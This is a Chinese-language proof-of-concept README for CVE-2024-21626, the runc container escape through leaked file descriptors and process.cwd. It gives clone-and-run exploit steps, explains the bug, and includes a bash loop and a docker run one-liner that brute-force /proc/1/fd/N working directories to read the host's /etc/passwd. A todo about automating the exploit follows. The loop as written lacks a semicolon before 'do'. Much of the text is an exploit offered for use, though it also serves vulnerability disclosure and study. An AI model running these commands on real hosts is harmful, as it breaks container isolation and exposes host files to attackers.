利用:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
验证: 如果获取到宿主的/etc/passwd 即存在该漏洞
环境: runc: >=v1.0.0-rc93,<=1.1.11
攻击细节原理: 在 runc 受影响版本中,由于在初始化过程中泄露了部分内部文件描述符,包括对宿主的 /sys/fs/cgroup 的句柄,同时 runc 未验证最终工作目录是否位于容器的挂载命名空间。攻击者可以修改 process.cwd 配置为 /proc/self/fd/7或者将宿主机调用runc exec时--cwd参数中传入的特定路径替换为/proc/self/fd/7/符号链接,进而让容器内的进程能够访问和操作宿主机的文件系统,从而绕过了容器的隔离机制。 更多细节(gif图片):
- 攻击者使用自制的docker-poc包进行攻击利用 CVE-2024-21626 runc process.cwd 和泄露的 fds 容器突破 |斯尼克 (snyk.io)
- 该docker-image尚未在公网开源 20240201
- 官方源码修改逻辑: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
- Runc 容易受到 Process.CWD 诡计和泄露的 FDS 的容器突破 ·CVE-2024-21626 ·GitHub 咨询数据库
CVE: CVE - CVE-2024-21626 (mitre.org) 此漏洞的挖掘商: CVE-2024-21626 runc process.cwd 和泄露的 fds 容器突破 |斯尼克 (snyk.io)
实际的 fd 可能根据文件打开顺序而改变 可以使用以下脚本爆破使用
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
本地测试成功: fd/9 实现 runc-version: 1.1.10 1.1.2
今天刚出的洞 下面讲一下更多细节
可以有以下方法复现
- runc - input 手动断点编译
- ebpf监听runc打断点
- runc create demo runc exec demo ls /proc/1/fd -a 可以直接看到对应的符号链接
- docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd 爆破
todo: runc 断点获取df好实现自动化